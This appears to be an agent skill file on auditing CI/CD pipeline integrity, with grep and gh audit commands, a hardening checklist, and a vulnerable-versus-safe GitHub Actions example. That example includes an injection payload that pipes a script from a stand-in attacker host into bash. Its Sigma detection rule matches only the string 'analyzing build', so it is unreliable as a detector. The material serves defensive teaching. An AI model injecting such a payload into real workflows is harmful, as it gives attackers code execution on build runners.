<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: analyzing-build-pipeline-integrity
description: >-
  Analyze CI/CD build pipelines for integrity risks including compromised runners,
  injection attacks, secret exposure, unsigned artifacts, and insufficient isolation.
  Assess GitHub Actions, GitLab CI, and Jenkins configurations against SLSA requirements.
domain: cybersecurity
subdomain: supply-chain-security
tags:
  - build-integrity
  - ci-cd-security
  - github-actions
  - pipeline-hardening
  - slsa
  - runner-security
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1195.002"]
---

# Analyzing Build Pipeline Integrity

## Overview

Build pipeline compromise is a top supply chain attack vector — SolarWinds, Codecov,
and 3CX all stemmed from CI/CD infiltration. This skill covers auditing pipeline
configurations for injection vulnerabilities, secret exposure, artifact tampering,
insufficient runner isolation, and SLSA build requirement violations.

Mode: `[MODE: RED]` — Pipeline attack surface mapping; `[MODE: BLUE]` — Pipeline hardening audit.

## Prerequisites

| Requirement | Details |
|---|---|
| Access to CI/CD configuration files (.github/workflows/, .gitlab-ci.yml, Jenkinsfile) | Required |
| gh CLI for GitHub Actions inspection | Required |
| jq for JSON processing | Required |
| yq for YAML processing | Required |

## Key Concepts

### GitHub Actions Security Audit

```bash
# Find workflows with dangerous triggers
grep -r "pull_request_target" .github/workflows/
grep -r "workflow_dispatch" .github/workflows/

# Find injection vulnerabilities (untrusted input in run steps)
grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/ | \
  grep -v '#'

# Find overly permissive permissions
grep -A5 "permissions:" .github/workflows/*.yml | grep "write"

# Check for pinned action versions (SHA vs tag)
grep -rn "uses:" .github/workflows/ | grep -v "@[a-f0-9]\{40\}"

# Find hardcoded secrets
grep -rn "password\|secret\|token\|key" .github/workflows/ | grep -v '\${{' | grep -v '#'
```

### Pipeline Injection Vectors

```yaml
# VULNERABLE — untrusted input in run step
- run: echo "PR title: ${{ github.event.pull_request.title }}"
  # Attacker can inject: "; curl evil.com/shell.sh | bash

# SAFE — use environment variable
- run: echo "PR title: $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
```

### Runner Security Assessment

```bash
# Check for self-hosted runners (larger attack surface)
gh api repos/{owner}/{repo}/actions/runners --jq '.runners[] | {name, os, status, labels}'

# Check runner group permissions
gh api orgs/{org}/actions/runner-groups --jq '.runner_groups[] | {name, visibility, allows_public_repositories}'

# Audit workflow run history for anomalies
gh run list --limit 50 --json status,conclusion,name,headBranch | \
  jq '.[] | select(.conclusion == "failure")'
```

## Workflow

### Step 1: Audit Pipeline Configuration

```bash
node scripts/agent.js --action audit --pipeline .github/workflows/ --output /tmp/pipeline-audit.json
```

### Step 2: Check for Injection Vulnerabilities

```bash
node scripts/agent.js --action injection-scan --pipeline .github/workflows/ --output /tmp/injections.json
```

### Step 3: Assess SLSA Build Requirements

```bash
node scripts/agent.js --action slsa-check --pipeline .github/workflows/ --output /tmp/slsa-build.json
```

## Detection

```yaml
title: Build Pipeline Integrity Detection
id: d6ff6351-6245-43cf-b202-9c07c3f1ac49
status: experimental
description: Detects suspicious activity related to analyzing build pipeline integrity techniques in supply chain security context
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    CommandLine: "*analyzing*build*"
  condition: selection
level: medium
tags:
  - attack.t1195.002
  - attack.initial_access
falsepositives:
  - Package manager performing routine dependency resolution
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Build Pipeline Integrity Detection | linux/process_creation | Sigma rule (medium) |
| ATT&CK Coverage | MITRE ATT&CK | T1195.002 |

## Verification

- [ ] All action references pinned to full SHA (not tags)
- [ ] No untrusted input interpolated in `run:` steps
- [ ] Permissions follow least privilege (no blanket `write-all`)
- [ ] Self-hosted runners isolated and ephemeral
- [ ] Secrets not exposed in logs or environment
- [ ] Artifact hashes computed and verified after build
- [ ] Build environment is hermetic (no network access during build)

## References

- [GitHub Actions Security Hardening](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions)
- [SLSA Build Requirements](https://slsa.dev/spec/v1.0/requirements)
- [StepSecurity Harden-Runner](https://github.com/step-security/harden-runner)
- [MITRE ATT&CK T1195.002 — Compromise Software Supply Chain](https://attack.mitre.org/techniques/T1195/002/)
